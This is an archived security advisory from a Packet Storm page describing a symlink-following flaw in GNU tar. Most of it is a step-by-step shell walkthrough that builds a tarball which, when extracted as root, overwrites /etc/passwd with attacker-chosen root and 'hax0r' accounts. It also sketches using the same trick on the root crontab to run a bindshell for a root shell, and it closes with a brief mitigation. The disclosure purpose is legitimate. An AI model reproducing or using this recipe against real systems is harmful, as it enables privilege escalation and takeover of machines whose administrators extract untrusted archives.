what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

tar-symlink.txt

tar-symlink.txt
Posted Jan 8, 2001
Authored by Marco van Berkum | Site obit.nl

GNU tar follows symlinks blindly, a problem if you untar as root.

tags | exploit, root
SHA-256 | 941d4baa8400f1fbed234f9bd2533ce2860e8137e6ad91ba30b49a049594c4f6

tar-symlink.txt

Change Mirror Download
Title        : GNU tar (Tape ARchive) symlinkvulnerability
Author : Marco van Berkum
Organisation : OBIT b.v.
URL : http://www.obit.nl
Email : m.v.berkum@obit.nl
Date : 06-01-2001

The usefull program tar (Tape ARchive) is used by all UNIX, Linux and
BSD
versions around and is used to ARCHIVE files to disk or tape in a easy
portable format.

While this program has been used for a long time there seemed to be no
need to fix the problem of following symlinks in a archive.
The problem is that tar follows symlinks without questioning whether
this
is a file which is harmless or a file such as /etc/passwd.
This way it will be possible to overwrite ANY file on the system when
untarred as root (NOT DONE).

How can this be done?

Well, you create a directory as test to see the effect of a tarred
symlink

% mkdir test
% cd test
% ln -s /etc/passwd passwd
% ls -al
total 2
drwx--x--x 2 user user 1024 Aug 7 13:08 ./
drwxr-xr-x 27 user user 1024 Aug 7 13:08 ../
lrwxrwxrwx 1 user user 11 Aug 7 13:08 passwd ->
/etc/passwd
%

You now have a symlink to /etc/passwd, next we are going to tar this
symlink.

% tar -cvf test.tar *
% ls -al
total 12
drwx--x--x 2 user user 1024 Aug 7 13:11 ./
drwxr-xr-x 27 user user 1024 Aug 7 13:08 ../
lrwxrwxrwx 1 user user 11 Aug 7 13:08 passwd ->
/etc/passwd
-rw------- 1 user user 10240 Aug 7 13:11 test.tar
%

Lets see whats in the tarfile now

% tar -tf test.tar
passwd <- AHA a symlink ;)
%

This is not visible as symlink when you do -tf !!
It would be when doing tar -tvf (verbose).

So next we remove the symlink from the testdirectory

% rm passwd

We now have only the tarfile with the symlink to /etc/passwd, next we
create our own passwdfile

% echo "root:our_password_string:0:0::/root:/bin/bash" >passwd
% echo "hax0r:our_password_string:1000:100::/tmp:/bin/bash" >>passwd

Ok now whe have a test.tar and a passfile, all we would have to do is
simply append the passwordfile to the tarfile.

% tar -rf test.tar passwd

Now list it

% tar -tf test.tar
passwd <- AHA a symlink ;)
passwd <- our evil passwdfile
%

Now one can image what happens when this tarfile is extracted as root,
it
will create a symlink to /etc/passwd and overwrite it with ours.
Ofcourse this is possible with all files on the system, one of the most
malicious things to do would be overwriting the rootcrontab and execute
commands that way.
Even programs like bindshell can be executed this way by making a
symlink
to say /tmp, dump the bindshell binary/source to /tmp and make a
rootcrontab pointing to that file by executing or compiling and
executing
it wich will leave us with a rootshell ;)

Solution:

Well, obviously one should NEVER untar files as root, but a patch to
the tarprogram wich enhances tar by asking wether it should follow
symlinks or not would do the trick aswell.

grtz,
Marco van Berkum
--
Sex is like hacking. You get in, you get out,
and you hope you didn't leave something behind
that can be traced back to you.

Marco van Berkum, System Operator/Security Analyst OBIT b.v.
RIPEHANDLE: MB17300-RIPE


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close